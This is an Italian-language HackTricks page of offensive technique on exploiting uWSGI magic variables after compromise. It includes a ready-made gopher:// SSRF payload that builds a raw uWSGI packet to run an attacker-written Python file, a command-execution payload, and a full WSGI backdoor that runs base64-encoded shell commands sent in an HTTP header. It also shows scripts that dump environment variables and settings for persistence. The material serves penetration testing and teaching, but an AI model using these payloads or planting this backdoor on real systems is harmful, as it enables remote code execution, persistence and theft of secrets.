WSGI Post-Exploitation Tricks

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica di WSGI

Web Server Gateway Interface (WSGI) è una specifica che descrive come un web server comunica con le applicazioni web e come le applicazioni web possono essere concatenate per processare una richiesta. uWSGI è uno dei server WSGI più popolari, spesso usato per servire applicazioni web Python.

Sfruttamento delle magic variables di uWSGI

uWSGI fornisce speciali "magic variables" che possono essere usate per configurare dinamicamente il comportamento del server. Queste variabili possono essere impostate tramite header HTTP e possono portare a gravi vulnerabilità di sicurezza se non vengono validate correttamente.

Variabili chiave sfruttabili

UWSGI_FILE - Esecuzione arbitraria di file

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Questa variabile permette di caricare ed eseguire file Python arbitrari come applicazioni WSGI. Se un attaccante può controllare questo parametro, può ottenere Remote Code Execution (RCE).

UWSGI_SCRIPT - Caricamento di script

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Carica uno script specificato come nuova applicazione. Combinato con funzionalità di upload o di scrittura di file, questo può portare a RCE.

UWSGI_MODULE e UWSGI_CALLABLE - Dynamic Module Loading

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Questi parametri permettono di caricare moduli Python arbitrari e chiamare funzioni specifiche al loro interno.

UWSGI_SETENV - Environment Variable Manipulation

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Può essere usato per modificare le variabili d'ambiente, potenzialmente influenzando il comportamento dell'applicazione o caricando una configurazione dannosa.

UWSGI_PYHOME - Manipolazione dell'ambiente Python

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Modifica l'ambiente virtuale Python, potenzialmente caricando pacchetti malevoli o interpreti Python diversi.

UWSGI_CHDIR - Directory Traversal

uwsgi_param UWSGI_CHDIR /etc/;

Modifica la directory di lavoro prima di elaborare le richieste, cosa che può essere sfruttata per attacchi di path traversal.

SSRF + Gopher verso

Vettore d'attacco

Quando uWSGI è accessibile tramite SSRF (Server-Side Request Forgery), gli attaccanti possono interagire con il socket interno di uWSGI per sfruttare le magic variables. Questo è particolarmente pericoloso quando:

  1. L'applicazione ha vulnerabilità SSRF
  2. uWSGI è in esecuzione su una porta/socket interna
  3. L'applicazione non valida correttamente le magic variables

uWSGI è accessibile a causa di SSRF perché il file di configurazione uwsgi.ini contiene: socket = 127.0.0.1:5000, rendendolo accessibile dall'applicazione web tramite SSRF.

Esempio di sfruttamento

Passo 1: Crea un payload maligno

Prima, inietta codice Python in un file accessibile dal server (scrittura di file dentro il server, l'estensione del file non importa):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

Passo 2: Costruisci richiesta del protocollo uWSGI

Usa il protocollo Gopher per inviare pacchetti uWSGI raw:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Questo payload:

  • Si connette a uWSGI sulla porta 5000
  • Imposta UWSGI_FILE per puntare al file dannoso
  • Forza uWSGI a caricare ed eseguire il codice Python

Struttura del protocollo uWSGI

Il protocollo uWSGI utilizza un formato binario in cui:

  • Le variabili sono codificate come stringhe con prefisso di lunghezza
  • Each variable has: [name_length][name][value_length][value]
  • Il pacchetto inizia con un'intestazione che contiene la dimensione totale

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Quindi usa UWSGI_FILE per caricare this backdoor:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

Environment-based Persistence

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. Divulgazione di informazioni

Dumping delle variabili d'ambiente

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Accesso al file system

Usa UWSGI_CHDIR combinato con file serving per accedere a file sensibili:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Elevazione dei privilegi

Manipolazione dei socket

Se uWSGI viene eseguito con privilegi elevati, gli attaccanti potrebbero manipolare i permessi dei socket:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

Sovrascrittura della configurazione

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks